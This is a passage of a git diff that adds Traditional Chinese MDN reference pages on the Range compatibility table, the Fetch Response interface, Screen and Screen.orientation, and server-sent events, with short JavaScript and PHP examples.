+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}} [1]</td>
+   <td>9.0</td>
+   <td>9.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>Range()</code> constructor {{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("24.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>15.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>compareNode()</code> {{obsolete_inline}}{{non-standard_inline()}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}<br>
+    Removed in {{CompatGeckoDesktop("1.9")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>isPointInRange()</code>, and <code>comparePoint()</code>{{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>15.0</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>intersectsNode()</code> {{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("17.0")}} [2]</td>
+   <td>{{CompatNo}}</td>
+   <td>15.0</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>getClientRects()</code> and <code>getBoundingClientRect()</code>{{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>9</td>
+   <td>15.0</td>
+   <td>5</td>
+  </tr>
+  <tr>
+   <td><code>createContextualFragment()</code>{{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>11</td>
+   <td>15.0</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}} [1]</td>
+   <td>9.0</td>
+   <td>9.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Starting with Gecko 13.0 {{ geckoRelease("13.0") }} the <code>Range</code> object throws a {{ domxref("DOMException") }} as defined in DOM 4, instead of a <code>RangeException</code> defined in prior specifications.</p>
+
+<p>[2] Gecko supported it up to Gecko 1.9, then removed it until Gecko 17 where it was reimplemented, matching the spec.</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/en-US/docs/DOM/DOM_Reference" title="/en-US/docs/DOM/DOM_Reference">The DOM interfaces index</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/response/index.html b/files/zh-tw/web/api/response/index.html
new file mode 100644
index 0000000000..8899c22fa5
--- /dev/null
+++ b/files/zh-tw/web/api/response/index.html
@@ -0,0 +1,120 @@
+---
+title: Response
+slug: Web/API/Response
+translation_of: Web/API/Response
+---
+<div>{{APIRef("Fetch API")}}</div>
+
+<p><a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a>  的 <strong><code>Response</code></strong> 介面代表了一個請求會返回的回應。</p>
+
+<p>你可以用 {{domxref("Response.Response()")}} 建構子創建一個新的 <code>Response</code>物件。但實務上碰到 Response 物件的時機，比較常出現在進行了一個 API 操作後，得到返回的 Response 物件。舉例而言，使用 service worker {{domxref("Fetchevent.respondWith")}} 或是使用單純的{{domxref("GlobalFetch.fetch()")}}。</p>
+
+<h2 id="建構子">建構子</h2>
+
+<dl>
+ <dt>{{domxref("Response.Response","Response()")}}</dt>
+ <dd>創建一個新的  <code>Response</code> 物件。</dd>
+</dl>
+
+<h2 id="屬性">屬性</h2>
+
+<dl>
+ <dt>{{domxref("Response.headers")}} {{readonlyinline}}</dt>
+ <dd>包含與此 response 相關的 {{domxref("Headers")}} 物件。</dd>
+ <dt>{{domxref("Response.ok")}} {{readonlyinline}}</dt>
+ <dd>無論此 response 是不是成功 ( 狀態碼 200-299 ) 都會包含一個 boolean 狀態。</dd>
+ <dt>{{domxref("Response.redirected")}} {{ReadOnlyInline}}</dt>
+ <dd>指出此 response 是不是個重新導向的結果，如果是的話，代表此 URL 具有一個以上的入口。</dd>
+ <dt>{{domxref("Response.status")}} {{readonlyinline}}</dt>
+ <dd>包含此  response  的狀態碼(例如：成功時為 <code>200</code> )。</dd>
+ <dt>{{domxref("Response.statusText")}} {{readonlyinline}}</dt>
+ <dd>包含狀態碼所對應的狀態文字 (例如： <code>OK</code> 對應 <code>200</code>)。</dd>
+ <dt>{{domxref("Response.type")}} {{readonlyinline}}</dt>
+ <dd>包含此 response 的類型 (例如： <code>basic</code>, <code>cors</code>)。</dd>
+ <dt>{{domxref("Response.url")}} {{readonlyinline}}</dt>
+ <dd>包含此 response 的 URL。</dd>
+ <dt>{{domxref("Response.useFinalURL")}}</dt>
+ <dd>包含一個 boolean 狀態，指出此 URL 是否為此 response 的最後一步。</dd>
+</dl>
+
+<p><code>Response</code> 實做了{{domxref("Body")}}, 所以它另有以下可用的屬性：</p>
+
+<dl>
+ <dt>{{domxref("Body.body")}} {{readonlyInline}}</dt>
+ <dd>A simple getter used to expose a {{domxref("ReadableStream")}} of the body contents.</dd>
+ <dt>{{domxref("Body.bodyUsed")}} {{readonlyInline}}</dt>
+ <dd>Stores a {{domxref("Boolean")}} that declares whether the body has been used in a response yet.</dd>
+</dl>
+
+<h2 id="方法">方法</h2>
+
+<dl>
+ <dt>{{domxref("Response.clone()")}}</dt>
+ <dd>建立一份  <code>Response</code> 的複製物件。</dd>
+ <dt>{{domxref("Response.error()")}}</dt>
+ <dd>Returns a new <code>Response</code> object associated with a network error.</dd>
+ <dt>{{domxref("Response.redirect()")}}</dt>
+ <dd>Creates a new response with a different URL.</dd>
+</dl>
+
+<p><code>Response</code> implements {{domxref("Body")}}, so it also has the following methods available to it:</p>
+
+<dl>
+ <dt>{{domxref("Body.arrayBuffer()")}}</dt>
+ <dd>Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with an {{domxref("ArrayBuffer")}}.</dd>
+ <dt>{{domxref("Body.blob()")}}</dt>
+ <dd>Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with a {{domxref("Blob")}}.</dd>
+ <dt>{{domxref("Body.formData()")}}</dt>
+ <dd>Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with a {{domxref("FormData")}} object.</dd>
+ <dt>{{domxref("Body.json()")}}</dt>
+ <dd>Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with the result of parsing the body text as {{jsxref("JSON")}}.</dd>
+ <dt>{{domxref("Body.text()")}}</dt>
+ <dd>Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with a {{domxref("USVString")}} (text).</dd>
+</dl>
+
+<h2 id="範例">範例</h2>
+
+<p>在<a href="https://github.com/mdn/fetch-examples/tree/master/basic-fetch">基本 fetch 範例</a> (<a href="http://mdn.github.io/fetch-examples/basic-fetch/">run example live</a>) 中，我們使用<span style="font-size: 1rem; letter-spacing: -0.00278rem;"> </span><code style="font-size: 1rem; letter-spacing: -0.00278rem;">fetch()</code><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> 呼叫來得到圖片，並使用 {{htmlelement("img")}} tag 顯示。 這裡的</span><code style="font-size: 1rem; letter-spacing: -0.00278rem;">fetch()</code><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> 呼叫返回了一個 promise，它使用與資源 fetch 操作有關的 </span><code style="font-size: 1rem; letter-spacing: -0.00278rem;">Response</code><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> 進行解析。你可能有發現，由於我們要求的是一張圖片，所以需要用 {{domxref("Body.blob")}} ({{domxref("Response")}} 時做了 body) 讓 response 有正確的 MIME 類型。</span></p>
+
+<pre class="brush: js">const image = document.querySelector('.my-image');
+fetch('flowers.jpg').then(function(response) {
+  return response.blob();
+}).then(function(blob) {
+  const objectURL = URL.createObjectURL(blob);
+  image.src = objectURL;
+});</pre>
+
+<p>除此之外，你也能用 {{domxref("Response.Response()")}} 建構子去建立自己的客製化 <code>Response</code> 物件：</p>
+
+<pre class="brush: js">const response = new Response();</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#response-class','Response')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+
+
+<p>{{Compat("api.Response")}}</p>
+
+<h2 id="參考">參考</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/screen/index.html b/files/zh-tw/web/api/screen/index.html
new file mode 100644
index 0000000000..089203003f
--- /dev/null
+++ b/files/zh-tw/web/api/screen/index.html
@@ -0,0 +1,89 @@
+---
+title: Screen
+slug: Web/API/Screen
+translation_of: Web/API/Screen
+---
+<div>{{APIRef("CSSOM View")}}</div>
+
+<p><code>Screen</code> 介面表示了一個用戶端螢幕，通常是指呈現目前頁面的視窗。</p>
+
+<p>一般來說為顯示目前網頁的視窗，可以透過 <code>window.screen</code> 取得物件實體。</p>
+
+<h2 id="Example" name="Example">屬性</h2>
+
+<dl>
+ <dt>{{domxref("Screen.availTop")}}</dt>
+ <dd>Specifies the y-coordinate of the first pixel that is not allocated to permanent or semipermanent user interface features.</dd>
+ <dt>{{domxref("Screen.availLeft")}}</dt>
+ <dd>Returns the first available pixel available from the left side of the screen.</dd>
+ <dt>{{domxref("Screen.availHeight")}}</dt>
+ <dd>Specifies the height of the screen, in pixels, minus permanent or semipermanent user interface features displayed by the operating system, such as the Taskbar on Windows.</dd>
+ <dt>{{domxref("Screen.availWidth")}}</dt>
+ <dd>Returns the amount of horizontal space in pixels available to the window.</dd>
+ <dt>{{domxref("Screen.colorDepth")}}</dt>
+ <dd>Returns the color depth of the screen.</dd>
+ <dt>{{domxref("Screen.height")}}</dt>
+ <dd>Returns the height of the screen in pixels.</dd>
+ <dt>{{domxref("Screen.left")}}</dt>
+ <dd>Returns the distance in pixels from the left side of the main screen to the left side of the current screen.</dd>
+ <dt>{{domxref("Screen.orientation")}}</dt>
+ <dd>Returns the current orientation of the screen.</dd>
+ <dt>{{domxref("Screen.pixelDepth")}}</dt>
+ <dd>Gets the bit depth of the screen.</dd>
+ <dt>{{domxref("Screen.top")}}</dt>
+ <dd>Returns the distance in pixels from the top side of the current screen.</dd>
+ <dt>{{domxref("Screen.width")}}</dt>
+ <dd>Returns the width of the screen.</dd>
+ <dt>{{domxref("Screen.mozEnabled")}} {{gecko_minversion_inline("12.0")}}</dt>
+ <dd>Boolean. Setting to false will turn off the device's screen.</dd>
+ <dt>{{domxref("Screen.mozBrightness")}} {{gecko_minversion_inline("12.0")}}</dt>
+ <dd>Controls the brightness of a device's screen. A double between 0 and 1.0 is expected.</dd>
+</dl>
+
+<h3 id="事件處理器">事件處理器</h3>
+
+<dl>
+ <dt>{{domxref("Screen.onorientationchange")}}</dt>
+ <dd>A handler for the {{event("orientationchange")}} events.</dd>
+</dl>
+
+<h2 id="方法">方法</h2>
+
+<dl>
+ <dt>{{domxref("Screen.lockOrientation")}}</dt>
+ <dd>Lock the screen orientation (only works in fullscreen or for installed apps)</dd>
+ <dt>{{domxref("Screen.unlockOrientation")}}</dt>
+ <dd>Unlock the screen orientation (only works in fullscreen or for installed apps)</dd>
+</dl>
+
+<p>Methods inherit from {{domxref("EventTarget")}}</p>
+
+<p>{{page("/en-US/docs/Web/API/EventTarget","Methods")}}</p>
+
+<h2 id="Example" name="Example">範例</h2>
+
+<pre class="brush:js">if (screen.pixelDepth &lt; 8) {
+  // use low-color version of page
+} else {
+  // use regular, colorful page
+}
+</pre>
+
+<h2 id="Specification" name="Specification">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSSOM View', '#the-screen-interface', 'Screen') }}</td>
+   <td>{{ Spec2('CSSOM View') }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/zh-tw/web/api/screen/orientation/index.html b/files/zh-tw/web/api/screen/orientation/index.html
new file mode 100644
index 0000000000..eafa89a703
--- /dev/null
+++ b/files/zh-tw/web/api/screen/orientation/index.html
@@ -0,0 +1,114 @@
+---
+title: Screen.orientation
+slug: Web/API/Screen/orientation
+translation_of: Web/API/Screen/orientation
+---
+<div>{{APIRef("CSSOM View")}}{{SeeCompatTable}}</div>
+
+<p><code>Screen.orientation</code> 屬性可以取得螢幕目前的方向。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">var orientation = window.screen.orientation.type;
+</pre>
+
+<h2 id="回傳值">回傳值</h2>
+
+<p>回傳值為一個代表螢幕方向的字串，可能是 <code>portrait-primary</code>、<code>portrait-secondary</code>、<code>landscape-primary</code> 或 <code>landscape-secondary</code>（請參考 {{domxref("window.screen.lockOrientation","lockOrientation")}} 以瞭解更多資訊）。</p>
+
+<h2 id="範例">範例</h2>
+
+<pre class="brush: js">var orientation = screen.orientation || screen.mozOrientation || screen.msOrientation;
+
+if (orientation.type === "landscape-primary") {
+  console.log("That looks good.");
+} else if (orientation.type === "landscape-secondary") {
+  console.log("Mmmh... the screen is upside down!");
+} else if (orientation.type === "portrait-secondary" || orientation.type === "portrait-primary") {
+  console.log("Mmmh... you should rotate your device to landscape");
+}
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Screen Orientation', '', 'Screen Orientation')}}</td>
+   <td>{{Spec2('Screen Orientation')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>38</td>
+   <td>{{CompatVersionUnknown}} {{property_prefix("moz")}}<sup>[1]</sup></td>
+   <td>11{{property_prefix("ms")}}<sup>[2]</sup></td>
+   <td>25</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>39</td>
+   <td>{{CompatVersionUnknown}} {{property_prefix("moz")}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] This API is only implemented as a prefixed method (<code>mozOrientation</code>) in B2G and Firefox for Android.</p>
+
+<p>[2] This API is implemented using a prefix (<code>msOrientation</code>) in Internet Explorer for Windows 8.1 and Windows RT 8.1. It is not supported on Windows 7.</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{domxref("Screen.orientation")}}</li>
+ <li>{{domxref("Screen.unlockOrientation()")}}</li>
+ <li>{{domxref("Screen.onorientationchange")}}</li>
+ <li><a href="/zh-TW/docs/Web/API/CSS_Object_Model/Managing_screen_orientation">控制畫面方向</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/server-sent_events/index.html b/files/zh-tw/web/api/server-sent_events/index.html
new file mode 100644
index 0000000000..bb72cb3f93
--- /dev/null
+++ b/files/zh-tw/web/api/server-sent_events/index.html
@@ -0,0 +1,115 @@
+---
+title: Server-sent events
+slug: Web/API/Server-sent_events
+translation_of: Web/API/Server-sent_events
+---
+<p>網頁一般來說是由客戶端向伺服器請求資料. 藉由 server-sent 事件, 伺服器在任何時候都可以向客戶端推送資料. 即將推送進來的訊息可以自客戶端上做 <em><a href="/en-US/docs/DOM/event" title="DOM/Event">Events</a> + data </em>處理.</p>
+
+<table class="topicpage-table">
+ <tbody>
+  <tr>
+   <td>
+    <h2 class="Documentation" id="Documentation" name="Documentation">文件</h2>
+
+    <dl>
+     <dt>使用 <a href="/en-US/docs/Server-sent_events/Using_server-sent_events" title="Server-sent events/Using server-sent events">server-sent events</a></dt>
+     <dd>有關如何在伺服器端和客戶端使用 server-sent 事件的教學文章.</dd>
+     <dt>參考 <a href="/en-US/docs/Server-sent_events/EventSource" title="Server-sent events/EventSource">EventSource</a></dt>
+     <dd>關於客戶端的 EventSource API.</dd>
+    </dl>
+
+    <p><span class="alllinks"><a href="/en-US/docs/tag/Server-sent_events" title="tag/Server-sent events">瀏覽全部...</a></span></p>
+   </td>
+   <td>
+    <h2 class="Tools" id="Tools" name="Tools">工具</h2>
+
+    <ul>
+     <li>Remy Sharp’s <a class="link-https" href="https://github.com/remy/polyfills/blob/master/EventSource.js">EventSource polyfill</a></li>
+     <li>Yaffle’s <a class="link-https" href="https://github.com/Yaffle/EventSource" title="https://github.com/Yaffle/EventSource">EventSource polyfill</a></li>
+     <li>Rick Waldron’s <a class="link-https" href="https://github.com/rwldrn/jquery.eventsource">jquery plugin</a></li>
+    </ul>
+
+    <h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">相關主題</h2>
+
+    <ul>
+     <li><a href="/en-US/docs/AJAX" title="AJAX">AJAX</a>, <a href="/en-US/docs/JavaScript" title="JavaScript">JavaScript</a>, <a href="/en-US/docs/WebSockets" title="WebSockets">WebSockets</a></li>
+    </ul>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>A <a href="http://hacks.mozilla.org/2011/06/a-wall-powered-by-eventsource-and-server-sent-events/" title="http://hacks.mozilla.org/2011/06/a-wall-powered-by-eventsource-and-server-sent-events/">Twitter like application</a> powered by server-sent events and <a class="link-https" href="https://github.com/mozilla/webowonder-demos/tree/master/demos/friends%20timeline" title="https://github.com/mozilla/webowonder-demos/tree/master/demos/friends timeline">its code on Github</a>.</li>
+ <li><a href="http://dsheiko.com/weblog/html5-and-server-sent-events" title="http://dsheiko.com/weblog/html5-and-server-sent-events">HTML5 and Server-sent events</a></li>
+ <li><a href="http://rajudasa.blogspot.in/2012/05/html5-server-sent-events-using-aspnet.html" title="http://rajudasa.blogspot.in/2012/05/html5-server-sent-events-using-aspnet.html">Server-sent events using Asp.Net</a></li>
+</ul>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Server-sent events')}}</td>
+   <td>{{Spec2('Server-sent events')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>EventSource support</td>
+   <td>9</td>
+   <td>{{CompatGeckoDesktop("6.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>11</td>
+   <td>5</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>EventSource support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/zh-tw/web/api/server-sent_events/using_server-sent_events/index.html b/files/zh-tw/web/api/server-sent_events/using_server-sent_events/index.html
new file mode 100644
index 0000000000..92433f4f18
--- /dev/null
+++ b/files/zh-tw/web/api/server-sent_events/using_server-sent_events/index.html
@@ -0,0 +1,202 @@
+---
+title: 使用 server-sent 事件
+slug: Web/API/Server-sent_events/Using_server-sent_events
+tags:
+  - Advanced
+  - Communication
+  - DOM
+  - EventSource
+  - Guide
+  - SSE
+  - Server Sent Events
+  - Server-Sent-Event
+translation_of: Web/API/Server-sent_events/Using_server-sent_events
+---
+<p>{{DefaultAPISidebar("Server Sent Events")}}</p>
+
+<div class="summary">
+<p>開發一個使用 server-sent 事件的網頁應用程式很簡單。在伺服器端只需要一些的程式碼與網頁串流事件，而客戶端這邊的處理進入事件的部分幾乎跟 <a href="/zh-TW/docs/Web/API/WebSockets_API">websockets</a> 一樣。這是一種單向的連線，所以你無法從客戶端向伺服器傳送事件。</p>
+</div>
+
+<h2 id="從伺服器端接收事件">從伺服器端接收事件</h2>
+
+<p>server-sent event API 包含在  {{domxref("EventSource")}} 介面；為了與伺服器端開啟連線並接收事件，需要建立帶有產生事件 script URL 的 {{domxref("EventSource")}} 物件。例如：</p>
+
+<pre class="brush: js notranslate">const evtSource = new EventSource("ssedemo.php");</pre>
+
+<p>如果事件產生的 script 在不同源的伺服器上，在建立 {{domxref("EventSource")}} 物件時需要同時提供 URL 和第二個參數作為選項設定。假設客戶端的 script 伺服於 <code>example.com</code> ：</p>
+
+<pre class="brush: js notranslate">const evtSource = new EventSource("//api.example.com/ssedemo.php", { withCredentials: true } );</pre>
+
+<p>當你完成初始化事件來源後，你就可以透過新增 {{event("message")}} 事件的處理器來開始監聽來自伺服器的訊息：</p>
+
+<pre class="brush: js notranslate">evtSource.onmessage = function(event) {
+  const newElement = document.createElement("li");
+  const eventList = document.getElementById("list");
+
+  newElement.innerHTML = "message: " + event.data;
+  eventList.appendChild(newElement);
+}
+</pre>
+
+<p>上述的程式碼會監聽進入的訊息（這裡來自伺服器的通知沒有指明 <code>event</code> 欄位，所以統一用 <code>onmessage</code> 處理即可）並且把訊息的文字附加到 document 的清單。</p>
+
+<p>你也可以利用 <code>addEventListener()</code> 監聽事件：</p>
+
+<pre class="brush: js notranslate">evtSource.addEventListener("ping", function(event) {
+  const newElement = document.createElement("li");
+  const time = JSON.parse(event.data).time;
+  newElement.innerHTML = "ping at " + time;
+  eventList.appendChild(newElement);
+});
+</pre>
+
+<p>上述的程式碼大同小異，不同之處在於若伺服器傳送了 <code>event</code> 欄位值為「ping」的訊息時它就會把 <code>data</code> 欄位的值解析為 JSON 並輸出到畫面上。</p>
+
+<div class="blockIndicator warning">
+<p>當連線不是透過<strong> HTTP/2</strong> 時，SSE 會受到最大連線數限制所苦，尤其當開啟多個分頁。每個瀏覽器有自己的限制數而且被限制在很低的數量（6）。這個問題已經被 <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=275955" rel="noreferrer">Chrome</a> 和 <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=906896" rel="noreferrer">Firefox</a> 標註為「Won't fix」（不修復）。限制是基於每個瀏覽器 + 網域，也就是說你可以針對 www.example1.com 網域在所有的分頁中開啟六個 SSE 連線，另一個網域 www.example2.com 也可以開啟六個（根據 <a href="https://stackoverflow.com/a/5326159/1905229">Stackoverflow</a>）。當使用 HTTP/2 時最大同時 <em>HTTP streams</em> 連線數是由伺服器和客戶端之間協調（預設 100）。</p>
+</div>
+
+<h2 id="從伺服器發送事件">從伺服器發送事件</h2>
+
+<p>由伺服器端所發送的事件需要使用 <code>text/event-stream</code> 的 MIME 類型回應。每一個通知皆由一組文字組成並由一對換行結尾。如何處理事件串流的格式，請參考 {{ anch("Event stream format") }} 。</p>
+
+<p>下面是一個 {{Glossary("PHP")}} 範例：</p>
+
+<pre class="brush: php notranslate">date_default_timezone_set("America/New_York");
+header("Cache-Control: no-cache");
+header("Content-Type: text/event-stream");
+
+$counter = rand(1, 10);
+while (true) {
+  // Every second, send a "ping" event.
+
+  echo "event: ping\n";
+  $curDate = date(DATE_ISO8601);
+  echo 'data: {"time": "' . $curDate . '"}';
+  echo "\n\n";
+
+  // Send a simple message at random intervals.
+
+  $counter--;
+
+  if (!$counter) {
+    echo 'data: This is a message at time ' . $curDate . "\n\n";
+    $counter = rand(1, 10);
+  }
+
+  ob_end_flush();
+  flush();
+
+  // Break the loop if the client aborted the connection (closed the page)
+
+  if ( connection_aborted() ) break;
+
+  sleep(1);
+}
+</pre>
+
+<p>上述的程式碼會在每秒產生一個類型為「ping」的事件。每一個事件的資料是一個 JSON 物件，內容為事件產生時的 ISO 8601 時間戳。同時會隨機發送一個簡易訊息（沒有事件類型）。<br>
+ 迴圈的執行會獨立於連線的狀態，，所以在迴圈裡必須檢查連線的狀態，若斷線了要關閉連線（譬如，客戶端關閉了網頁）。</p>
+
+<div class="note">
+<p><strong>備註：</strong> 你可以從下列的 Github 文章中找到包含本文所使用程式碼的完整範例 —— 參考 <a href="https://github.com/mdn/dom-examples/tree/master/server-sent-events">Simple SSE demo using PHP.</a></p>
+</div>
+
+<h2 id="錯誤處理">錯誤處理</h2>
+
+<p>當錯誤發生時（譬如網路逾時或有關<a href="/zh-TW/docs/Web/HTTP/CORS">存取控制</a>的問題）會產生錯誤事件。你可以透過對 <code>EventSource</code> 物件實作 <code>onerror</code> 回呼的方式採取程式化的處理：</p>
+
+<pre class="brush: js notranslate">evtSource.onerror = function(err) {
+  console.error("EventSource failed:", err);
+};
+</pre>
+
+<h2 id="關閉事件串流">關閉事件串流</h2>
+
+<p>預設的情況下，如果客戶端和伺服器的連線關閉則連線會被重啟。連線的關閉會伴隨著 <code>.close()</code> 方法的執行。</p>
+
+<pre class="notranslate">evtSource.close();</pre>
+
+<h2 id="事件串流（Event_Stream）格式">事件串流（Event Stream）格式</h2>
+
+<p>事件串流是個簡易的文字資料串流，內容必須以 UTF-8 格式編碼。在事件串流中，不同的訊息以一對換行符號做區隔。若要撰寫註解，則要在該行的開頭加上冒號（:）。</p>
+
+<div class="note"><strong>備註：</strong> 註解將有助於防止連線逾時；伺服器端可以定時發送註解以維持連線活著。</div>
+
+<p>每一個訊息是由一到多列的欄位所組成的文字。每個欄位依序由欄位的名稱、冒號、該欄位的文字內容所組合而成。</p>
+
+<h3 id="欄位">欄位</h3>
+
+<p>每隔訊息皆可以由下列的欄位組合而成，每個欄位以換行做為區隔：</p>
+
+<dl>
+ <dt><code>event</code></dt>
+ <dd>事件的類型。如果有指定則在瀏覽器端會對該事件名稱的監聽器發布事件；網頁的原始碼必須使用 <code>addEventListener()</code> 來監聽已命名的事件。 <code>onmessage</code> 處理器只有在訊息沒有指定事件名稱時才會被呼叫。</dd>
+ <dt><code>data</code></dt>
+ <dd>訊息的資料欄位。當 EventSource 連續接收到多列以 <code>data:</code> 開頭的內容；<a href="http://www.w3.org/TR/eventsource/#dispatchMessage">它會串接這些內容</a>並為每一列插入一個換行字元。最後的換行會被移除。</dd>
+ <dt><code>id</code></dt>
+ <dd>{{domxref("EventSource")}} 物件的最新一個事件 ID 。</dd>
+ <dt><code>retry</code></dt>
+ <dd>當嘗試傳送事件時重新連線的時間。這個值必須是整數，單位是毫秒，作為重新連線的時間。若指定是非整數則這個欄位會被忽略。</dd>
+</dl>
+
+<p>除上述的幾個欄位，其他欄位均會被忽略。</p>
+
+<div class="note"><strong>備註：</strong>如果某列的內容沒有包含冒號，則該列的內容都會被視為欄位名稱及空字串的欄位值。</div>
+
+<h3 id="範例">範例</h3>
+
+<h4 id="Data-only_訊息">Data-only 訊息</h4>
+
+<p>在下列的範例中，共發送了三個訊息。第一個是註解，因其以冒號開頭。如之前提到的，對不會持續發送訊息的情境下，這將有助於維持連線的存續。</p>
+
+<p>第二則訊息包含了 data 欄位及「some text」的值。第三則訊息包含了 data 欄位及「another message\nwith two lines」。注意在內容所出現的換行符號。</p>
